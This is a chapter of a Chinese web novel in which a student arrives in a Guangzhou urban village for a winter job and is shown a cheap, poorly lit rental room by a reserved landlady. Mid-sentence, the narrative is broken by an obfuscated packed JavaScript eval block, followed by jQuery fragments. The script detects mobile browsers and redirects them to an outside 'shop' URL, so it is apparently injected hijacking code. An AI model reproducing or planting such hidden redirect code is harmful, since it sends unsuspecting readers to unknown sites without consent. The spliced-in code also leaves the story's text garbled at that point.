冬日的午后，阳光是一种稀释过的淡白金色，勉勉强强地照在石陂村层层叠叠被称为“握手楼”的建筑群上。
那光仿佛被钢筋混凝土限制住了，在楼与楼狭窄的缝隙间艰难跳跃，最终落在巷道水泥地上时，只剩下几个零零散散的光斑。
黄晓薇拖着半人高的行李箱，轮子在狭窄的巷道上发出“咕隆咕隆”的抗议声。她身后跟着略显局促的背着个大行李包的张圆。
刚踏出峰峦叠嶂的山水，她俩就猛地扎进了由混凝土、防盗网和电线构成的立体迷宫。
张圆眼底残留着未散的茫然——
四小时里高铁转地铁再换公交，把“甲天下”的疏朗景致远远抛在身后，眼前只剩广府城中村这幅线条紊乱的实景图。
速度快得太过猝然，让从小到大除了上大学，第二次出远门的张圆，心脏有些招架不住。
“到啦！不过不是我家——”
黄晓薇在一栋贴着陈旧马赛克的四层楼前停下脚步，行李箱的噪音戛然而止。
她指了指门牌：石陂横五街南二巷3号。又朝旁边努努嘴，
“我家是4号，你先安顿在这儿。”
她没多解释，只抬起手，意思性地在那扇锈迹斑斑的灰色铁皮院门上敲了敲，用带着活泼尾音的广府话朝里面喊了一声：“超级琳～！”
“超级琳”这个称呼让张圆微微侧目。
门很快从里面被拉开了。开门的不是黄晓薇预想中的人，而是一个围着碎花围裙、脸蛋微圆、眼睛亮晶晶的年轻女孩。
她看见黄晓薇，立刻露出灿烂的笑容，用带着明显外地口音的广府话回应：“哎呀，系细鬼妹返来啦？（是细鬼妹回来啦）”目光随即好奇地落到张圆身上。
“放寒假了嘛！”
黄晓薇松开了握着行李箱的手，几乎是雀跃着上前握住女孩的手，清脆的乡音里满是回家的松快。
短暂问候后，黄晓薇切换回流利的普通话，侧身给女孩介绍，语气自然而热络，“童童，这是我大学同学，张圆，过来广府打寒假工。”
大学生跑来广府打暑假工常见，打寒假工？
广府有什么收入高的寒假工打的？
稀奇哦！
圆脸女孩眨眨眼，心里感到奇怪，口音也自然地转成了普通话，自我介绍着说：“我是张童童，住102。”
她热情地招呼，“进来进来，外头冷。我刚煮了豆浆，要不要进来我屋里歇一下，喝杯热的？”
她指着一楼屋内正对院子敞开的房门，里面透出白色灯光。
黄晓薇连忙摆手，笑嘻嘻地客气：“不用了不用了，童童你忙，我等李琳下来安排就好。”
她悄悄对张圆递了个眼色，示意稍安勿躁跟自己进来。
张圆跟着黄晓薇进了院子。说是院子，其实只是楼门前一块不大的水泥地。
左侧墙角停着两三辆自行车，一台电动车正插着充电器嗡嗡待命，旁边还挤着辆街边常见的小吃车。
右侧则停着辆满是岁月痕迹的人力三轮车，零零总总的物件把这方寸之地塞得满满当当
三人从院子进了楼，迎面是一个逼仄的前厅，靠墙的置物架堆满了租客们的快递，旁边并排放着两只鲜红的消防箱。
前厅向内延伸出一条两人宽的窄过道，五扇泛着冷光的不锈钢门沿过道依次排开，门牌号刻意避开了不吉利的“4”，从101、102、103，直接跳到105、106。
张童童转身回自己房间端豆浆去了。就在这时，楼梯上传来轻微的脚步声。
一个套着深灰色珊瑚绒睡衣（南方典型里外两层睡衣的穿法）的身影拿着钥匙走了下来。
她看起来年纪很轻，头发松松地在脑后挽了一下，脸色是常年少见阳光的白，骨相也不似两广人常见的那种平缓——
她的脸山根挺直，额眉开阔，在昏暗的楼道光线下，显出一种让人不好亲近的轮廓。
“琳姐。”黄晓薇用广府话和来人打招呼。
“你们看看105合不合适？”
来人开了口，用的是普通话，没有寒暄，直奔主题。
这应该就是黄晓薇在高铁上提过的房东李琳了。
关于张圆的情况——寒假来找工作、需要便宜短租、经济不宽裕——黄晓薇在高铁上已经通过微信向李琳简单说明过。
这时黄晓薇只是对李琳点点头，笑嘻嘻的回了声，“好哇。”顾及张圆的自尊心，她没再重复微信里那些要求。
李琳径直走向一楼左侧，在一扇门牌上写着“105”的不锈钢房门前停下。“咔哒”一声轻响，钥匙转动，门开了，黑漆漆一片。
“这间。”她侧身让出门口，伸手按亮了门内的开关。
光线涌出，张圆跟着黄晓薇走了进去。
入门是一个小小的、像走廊一样连着阳台的客厅，一米多不到两米宽。
除了靠墙放着一个金属置物架，别无他物，空空荡荡。客厅左侧敞开着另一扇不锈钢门，那才是卧室。
卧室不大，一眼便能尽收眼底。
一张单人床靠墙放着，一个简易的布艺衣柜，一张带有两个抽屉的小书桌，就几乎占据了所有地面空间。
令人意外的是，靠外的墙面上嵌着一扇双开窗，几乎占了半面墙的宽度。窗户外焊着老式不锈钢防盗网，网的另一边，正对的是后排楼栋的窗台——那里同样装着防盗网，两扇窗没有考虑任何隐私性，正正相对，中间只留下一条不到半米终年不见阳光的缝隙。
李琳走进来，按亮了屋顶的节能灯。
冷白色的光线瞬间充盈了整个房间，驱散角落的阴影，也使得那扇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193544|197104||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
无用的窗户和对面逼仄的景象更加清晰，带来一种奇特的、被窥视又同时被围困的错觉。
空气有些凝滞，带着老房子特有的、淡淡的尘埃与旧物混合的气味，但不算难闻。
“这间屋采光不是很好，”
李琳的声音在狭小的空间里响起，“不过配得有空调，热水器，阳台上的卫生间旁边还有台全自动洗衣机，网络也是免费的，自己得买个路由器。”
她顿了顿，补充了最重要的部分，“月租三百五。你是细鬼妹介绍的，押金交一百就行。租金……等你日结工资到账，一个星期之后再给吧。”
三百五——
张圆在心里惊诧于广府城中村的租房价格。
确实便宜，可便宜得让她心里那根警惕的弦下意识绷紧了。
正暗自思忖间，张童童不知何时也跟进来了。
她倚在门框上，捧着杯豆浆，“刚来广府打工，能省一点是一点嘛。”
见张圆仍打量着那扇窗户，她又道，，“这房间就是睡个觉，白天你出去上班，晚上回来累得倒头就睡，有没有窗户、窗户好不好，差别不大啦。关键是安全、便宜，而且——”
她朝李琳的方向努努嘴，笑道，“琳姐这么靠谱的房东很难得哦。”
“你也不用买路由器，我家的WiFi密码给你，手机能搜到就是信号弱一点。”
黄晓薇也在一旁说道：“三百五十块，我们这里出租屋，真的算便宜了。卫生间在屋里的那种挂壁房，都要三百多咯。这里好歹有个小厅，洗衣机还是全自动的。”
她没说的是，超级琳给出的“押金一百，工资到账再给租金”的条件，对于初来乍到、荷包紧张的张圆来说，几乎是雪中送炭般的体贴，尽管超级琳本人的言行看不出“体贴”在哪里。
张圆心里悄悄算起了账。
从甲天下到广府来回的高铁票，加上房租和一百元押金，还有零零碎碎的生活开销……手指头不用掰就能算清：还没开始工作，一千块钱已经没了……
黄晓薇提过物流分拣的工作强度很高，是“铁人都要喘口气”的那种。
自己这副身板，真能扛得住吗？
挣的钱，够填补先期投入的“巨款”吗？
她抬眼望去，黄晓薇正用广府话和李琳低声说着什么，表情生动，手上还比划着。而作为倾听者的房东小姐姐，脸上却没什么波澜——
不知怎的，张圆总觉得她像一块无声的背景板，静静立在那儿，明明是本该主导租房的房东，却没什么存在感。
倒是身旁的张童童依然热情未减，还在乐呵呵地给她介绍：“往前走两个路口，有家快餐店，一荤两素才十二块味道不错晚上你可以去试试。”
听着老租客的“攻略秘笈”，张圆笑着点点头，心底却漫起一丝说不清的不安。